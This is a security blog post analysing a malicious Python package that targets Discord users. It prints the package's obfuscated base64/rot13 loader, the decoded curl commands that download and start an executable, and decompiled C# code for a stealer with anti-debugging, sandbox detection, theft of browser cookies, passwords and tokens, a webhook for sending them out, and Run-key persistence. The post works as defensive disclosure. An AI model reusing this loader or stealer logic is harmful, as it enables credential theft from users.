软件供应链攻击是当前网络安全领域的热点,天问系统作为面向软件供应链安全领域的分析平台,对Python、NPM、Maven等主流软件生态进行长期、持续的监测和分析,率先发现并陆续披露了多个攻击案例。
攻击简介 2022年1月11日,天问Python供应链监测模块再次捕获到一个攻击Discord的包,得益于监测模块的实时性,包上传的第一时间便捕获到其恶意行为发出告警,我们也将该包的信息同步给了官方。
天问Python供应链监测模块于两周前曾经捕获过四个攻击Discord的包,详情可见:【天问】攻击者瞄准Discord,窃取银行卡信息 。此次攻击与上次略有不同,上次攻击者将恶意代码直接写在Python文件内,阅读代码可直接了解其攻击手法。此次攻击者在代码中仅留下下载两个可执行文件的指令,并将代码进行多次编码,使其攻击更具隐蔽性。代码如下所示。
1 2 3 4 5 6 7 8 import base64, codecsmagic = 'I3N0b3AgdHJ5aW5nIHRvIGRlb2JmdXNjYXRlIHUgc2tpZCAxDQojc3RvcCB0cnlpbmcgdG8gZGVvYmZ1c2NhdGUgdSBza2lkIDINCiNzdG9wIHRyeWluZyB0byBkZW9iZnVzY2F0ZSB1IHNraWQgMw0KI3N0b3AgdHJ5aW5nIHRvIGRlb2JmdXNjYXRlIHUgc2tpZCA0DQojc3RvcCB0cnlpbmcgdG8gZ' love = 'TIiLzM1p2AuqTHtqFOmn2yxVQHAPvAmqT9jVUElrJyhMlO0olOxMJ9vMaImL2S0MFO1VUAenJDtAt0XV3A0o3NtqUW5nJ5aVUEiVTEyo2WzqKAwLKEyVUHtp2gcMPN3QDbwp3EipPO0paycozptqT8tMTIiLzM1p2AuqTHtqFOmn2yxVQtAPvAmqT9jVUElrJyhMlO0olOxMJ9vMaImL2S0MFO1VUAenJ' god = ' QgOQ0KIyBtYWRlIGJ5IGxpdGhpdW0jMDAwMg0KDQppbXBvcnQgb3MNCm9zLnN5c3RlbSgiY3VybCBodHRwczovL2Nkbi5kaXNjb3JkYXBwLmNvbS9hdHRhY2htZW50cy85MjQwOTY5ODU1NTA2OTI0NTIvOTMwMzAyNTE1MDk3MDAyMDM0L3BhY2thZ2UuZXhlIC0tb3V0cHV0IGxpdGhpdW0uZXhlICY' destiny = 'zVUA0LKW0VTkcqTucqJ0hMKuyVvxAPz9mYaA5p3EyoFtvL3IloPObqUEjpmbiY2Axov5xnKAwo3WxLKOjYzAioF9uqUEuL2ugMJ50pl85ZwDjBGL5BQH1AGN2BGV0AGViBGZjZwx5BGH0AmZ4AwZ0AmtmY2AcpzA1pl5gpQZtYF1iqKEjqKDtpzI0LKWxYz1jZlNzWvOmqTSlqPOlMKEupzDhoKNmVvx=' joy = '\x72\x6f\x74\x31\x33' trust = eval ('\x6d\x61\x67\x69\x63' ) + eval ('\x63\x6f\x64\x65\x63\x73\x2e\x64\x65\x63\x6f\x64\x65\x28\x6c\x6f\x76\x65\x2c\x20\x6a\x6f\x79\x29' ) + eval ('\x67\x6f\x64' ) + eval ('\x63\x6f\x64\x65\x63\x73\x2e\x64\x65\x63\x6f\x64\x65\x28\x64\x65\x73\x74\x69\x6e\x79\x2c\x20\x6a\x6f\x79\x29' ) eval (compile (base64.b64decode(eval ('\x74\x72\x75\x73\x74' )),'<string>' ,'exec' ))
通过观察其对于变量名称的定义以及编码的使用,我们认出其代码是通过DevelopmentTools.Net提供的python-obfuscator 工具自动生成,对上述代码中的变量进行Unicode编码转换后得到如下结果。
1 2 joy = 'rot13' trust = magic + codecs.decode(love, joy) + god + codecs.decode(destiny, joy)
即trust为四个字符串拼接而成的大字符串,在对其进行了拼接并解码后,我们得到如下代码片段。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 import osos.system("curl https://cdn.discordapp.com/attachments/924096985550692452/930302xxxxxx002034/package.exe --output lithium.exe && start lithium.exe" ) os.system("curl https://cdn.discordapp.com/attachments/924096985550692452/930299xxxxxx634783/circus.mp3 --output retard.mp3 && start retard.mp3" )
在下载到这两个文件后,我们迅速对其进行了分析,其具体行为如下所示。
样本信息 文件名:lithium.exe
来源:2022-1-11 天问Python 供应链监测
CRC32: 38B51880 MD5: 7B9AFA29F50BBB4D122AD408823041ED SHA-1: 0FAF80A0DDFFEDE7EC914A9F73172E0BBF559F4A SHA-256: 1ECBDF16F3FA4F856B38FA3BA9C65695B13C24F3D5AA1235D8F19B029A2B0B7C
开发语言:CSharp(.NET 4.0)
分析详情 Main 函数如下所示:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 // Stealer.Program // Token: 0x06000003 RID: 3 RVA: 0x00002050 File Offset: 0x00000250 private static void Main() { Program.HideConsole(); Program.GrabIP(); Program.GrabToken(); Program.GrabProduct(); Program.GrabHardware(); Browser.StealCookies(); Browser.StealPasswords(); Program.Minecraft(); Program.Roblox(); Program.CaptureScreen(); Console.WriteLine("Task complete"); }
样本会在Program.HideConsole()
方法中使用 user32.dll模块中的ShowWindow函数隐藏窗口。
1)反调试 样本在Program.DetectDebug()
方法中,使用Debugger.IsAttached
值检测托管调试器,达到反调试目的;
1 2 3 4 5 6 7 8 private static void DetectDebug() { if (!Debugger.IsAttached) { return; } Environment.Exit(0); }
2)反虚拟机 样本在Program.DetectRegistry()
方法中,通过检测注册表中的特定位置键值判断是否处于沙箱运行,达到反沙箱目的,具体逻辑如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 private static void DetectRegistry() { List<string> list = new List<string>(); List<string> list2 = new List<string> { "vmware", "virtualbox", "vbox", "qemu", "xen" }; string[] array = new string[] { "HARDWARE\\DEVICEMAP\\Scsi\\Scsi Port 2\\Scsi Bus 0\\Target Id 0\\Logical Unit Id 0\\Identifier", "SYSTEM\\CurrentControlSet\\Enum\\SCSI\\Disk&Ven_VMware_&Prod_VMware_Virtual_S", "SYSTEM\\CurrentControlSet\\Control\\CriticalDeviceDatabase\\root#vmwvmcihostdev", "SYSTEM\\CurrentControlSet\\Control\\VirtualDeviceDrivers", "SOFTWARE\\VMWare, Inc.\\VMWare Tools", "SOFTWARE\\Oracle\\VirtualBox Guest Additions", "HARDWARE\\ACPI\\DSDT\\VBOX_" }; string[] array2 = new string[] { "SYSTEM\\ControlSet001\\Services\\Disk\\Enum\\0", "HARDWARE\\Description\\System\\SystemBiosInformation", "HARDWARE\\Description\\System\\VideoBiosVersion", "HARDWARE\\Description\\System\\SystemManufacturer", "HARDWARE\\Description\\System\\SystemProductName", "HARDWARE\\Description\\System\\Logical Unit Id 0" }; foreach (string text in array) { RegistryKey registryKey = Registry.LocalMachine.OpenSubKey(text, false); if (registryKey != null) { list.Add("HKLM:\\" + text); } } foreach (string text2 in array2) { string name = new DirectoryInfo(text2).Name; string text3 = (string)Registry.LocalMachine.OpenSubKey(Path.GetDirectoryName(text2), false).GetValue(name); foreach (string text4 in list2) { if (!string.IsNullOrEmpty(text3) && text3.ToLower().Contains(text4.ToLower())) { list.Add("HKLM:\\" + text2 + " => " + text3); } } } if (list.Count == 0) { return; } Environment.Exit(0); }
3)信息收集及回传 样本会通过访问https://ip4.seeip.org
获取受害机器的出口IP地址:
1 Task<HttpResponseMessage> async = httpClient.GetAsync("https://ip4.seeip.org");
并进一步通过访问http://ip-api.com//json/
接口获取用户其他详细地址信息:
1 Task<HttpResponseMessage> async = httpClient.GetAsync("http://ip-api.com//json/" + this.ip);
读取用户Discord程序ldb
类型敏感隐私文件:
1 2 3 4 5 6 7 8 9 string folderPath = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData); string folderPath2 = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData); Grabber.target.Add(folderPath + "\\Discord"); Grabber.target.Add(folderPath + "\\discordcanary"); Grabber.target.Add(folderPath + "\\discordptb"); Grabber.target.Add(folderPath + "\\\\Opera Software\\Opera Stable"); Grabber.target.Add(folderPath2 + "\\Google\\Chrome\\User Data\\Default"); Grabber.target.Add(folderPath2 + "\\BraveSoftware\\Brave-Browser\\User Data\\Default"); Grabber.target.Add(folderPath2 + "\\Yandex\\YandexBrowser\\User Data\\Default");
获取Chrome 浏览器cookies 信息:
1 2 string text = User.localAppData + "\\Google\\Chrome\\User Data\\default\\Cookies"; string text2 = User.tempFolder + "\\cookies.db";
获取Chrome 浏览器登录密码信息:
1 string text = User.localAppData + "\\Google\\Chrome\\User Data\\default\\Login Data";
获取Roblox 信息:
1 using (RegistryKey registryKey = Registry.CurrentUser.OpenSubKey("SOFTWARE\\Roblox\\RobloxStudioBrowser\\roblox.com", false))
还包含其他如注册表中获取Windows 产品密钥,通过WMI(Win32_OperatingSystem)获取操作系统信息,注册表获取CPU核心数信息,通过WMI(Win32_VideoController)获取GPU信息,磁盘信息,通过WMI(Win32_PhysicalMemory)获取内存信息,屏幕截图,并将上述信息通过webhook回传至Discord频道内。
1 https://discord.com/api/webhooks/xxxxxxxxxxxxxxxxxx/w84DC2rdmTmn0ZuiDOQYNMufYdRcAlb8VellGnu0ZFssVCw1l526I98EZROVzhwY_Q0t
4)自启动 该样本通过写入注册表项SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run
实现自启动,实现常驻:
1 using (RegistryKey registryKey = Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true))
攻击者甚至还在攻击成功后,在用户电脑上播放了一段Circus音乐,该音乐多被用于马戏团表演中小丑出场,可见该作者的嚣张。天问Python供应链监测模块成功监测到该攻击,我们也将持续关注Python源的生态健康。